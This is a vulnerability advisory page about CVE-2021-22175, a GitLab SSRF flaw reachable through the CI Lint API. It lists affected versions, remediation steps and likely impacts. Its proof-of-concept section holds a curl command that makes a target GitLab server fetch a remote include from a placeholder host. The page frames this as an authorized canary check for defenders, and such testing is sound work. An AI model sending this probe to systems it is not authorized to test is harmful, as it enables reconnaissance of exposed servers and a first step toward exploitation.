What is CVE-2021-22175?
CVE-2021-22175 is a GitLab server-side request forgery (SSRF) flaw that can be triggered by an unauthenticated attacker under specific outbound-request configurations. Public advisories describe it as an SSRF condition that becomes exploitable when requests to the internal (local) network are allowed for webhooks/integrations, enabling the GitLab server to be coerced into making network requests it shouldn’t. The GitLab security release notes tie the issue to the CI Lint API, where unauthenticated requests could lead to information disclosure and SSRF behavior. As of February 18, 2026, CISA lists this CVE in its Known Exploited Vulnerabilities (KEV) program (via NVD), indicating evidence of active exploitation against unpatched systems.
What is Affected By CVE-2021-22175?
GitLab Community Edition (CE) and Enterprise Edition (EE) self-managed installations in specific version ranges are affected. GitLab’s CNA record lists the impacted versions as starting at 10.5 and spanning multiple release trains up to the patched releases. The issue is especially relevant for instances that are internet-exposed and have outbound-request settings that permit local/internal network access for webhooks and integrations.
Affected version ranges (GitLab CNA record):
>= 10.5 and < 13.6.7
>= 13.7 and < 13.7.7
>= 13.8 and < 13.8.4
Common contributing configuration condition:
Outbound requests setting that allows requests to the local/internal network from webhooks and integrations (sometimes enabled to support internal webhook targets).
Mitigation and Remediation For CVE-2021-22175
The safest remediation is to patch GitLab to a fixed version (or later) and tighten outbound network controls. GitLab’s security release indicates the issue is mitigated in the patched releases, and GitLab’s CNA record specifies the fixed version boundaries across supported branches. If immediate upgrading isn’t possible, compensating controls should focus on disabling local-network outbound requests where feasible, restricting access to the relevant API endpoints, and enforcing egress filtering so SSRF cannot reach sensitive internal services.
Recommended actions:
Upgrade GitLab CE/EE to 13.6.7, 13.7.7, 13.8.4, or any later supported release.
In Admin → Settings → Network → Outbound requests, disable “Allow requests to the local network from webhooks and integrations” unless you have a documented business need (and strong allowlisting/controls).
Add network egress controls from the GitLab application hosts (deny-by-default where possible; explicitly block access to sensitive ranges/services such as cloud metadata endpoints).
Reduce exposure: restrict internet access to GitLab admin/API surfaces via firewall/VPN/allowlisted IPs; monitor and rate-limit unusual traffic to endpoints like the CI Lint API.
Treat as time-sensitive if you operate in regulated environments: NVD notes inclusion in CISA KEV with required-action guidance for affected agencies and strong signals for the broader ecosystem.
Impact of Successful Exploitation of CVE-2021-22175
If exploited, CVE-2021-22175 can allow an attacker to make GitLab perform unauthorized network requests, potentially exposing internal-only data and enabling follow-on attacks. SSRF is commonly leveraged to probe internal services, access restricted HTTP endpoints, or reach sensitive management planes that are not directly reachable from the internet. In GitLab’s write-ups, this issue is explicitly associated with information disclosure and SSRF, and third-party analyses highlight risks like internal reconnaissance and potential access to high-value internal resources when outbound request controls are permissive. The fact that it appears in CISA’s KEV listing (via NVD) is a practical indicator that defenders should assume real-world targeting of unpatched, exposed instances.
Potential real-world impacts:
Internal network reconnaissance (mapping internal hosts/services reachable by the GitLab server)
Access to internal HTTP services not exposed externally (dashboards, admin panels, service discovery endpoints)
Information disclosure through SSRF responses or side channels (depending on environment and controls)
Credential/material exposure in cloud or hybrid environments if SSRF can reach sensitive metadata/services
Proof of Concept for CVE-2021-22175
Public PoCs commonly demonstrate the vulnerable condition by sending CI Lint API requests that cause GitLab to fetch a remote “include,” proving server-side outbound access. Because the original report details are not fully public (e.g., the HackerOne report is referenced but not necessarily accessible), many defensive checks rely on safe “canary” techniques: you host a benign YAML file on a controlled server and verify whether the GitLab instance tries to retrieve it. The example below is intended for authorized defensive testing only in a lab or on systems you own/operate, and it avoids providing a turnkey exploit chain. Public detection templates (for example, Nuclei) and GitLab’s CI Lint API documentation provide additional context on request shape and expected behavior.
# Defensive test concept (authorized use only):
# 1) Host a harmless file at http://YOUR-CONTROLLED-HOST/gitlab.yml
# 2) Send a CI Lint API request that references that remote include
# 3) Check YOUR-CONTROLLED-HOST access logs to confirm whether GitLab fetched it
curl -sS -X POST “https://GITLAB-TARGET.example.com/api/v4/ci/lint” \
-H “Content-Type: application/json” \
–data ‘{“include_merged_yaml”: true, “content”: “include:\n remote: \”http://YOUR-CONTROLLED-HOST/gitlab.yml\”\n”}’
Notes for defenders:
If the instance is vulnerable and outbound-request controls permit the relevant destinations, you may observe an outbound fetch from the GitLab server to your controlled host.
If you see blocked outbound behavior, review the Outbound requests controls (especially local-network allowances and allowlists) and prioritize upgrading to a fixed version.
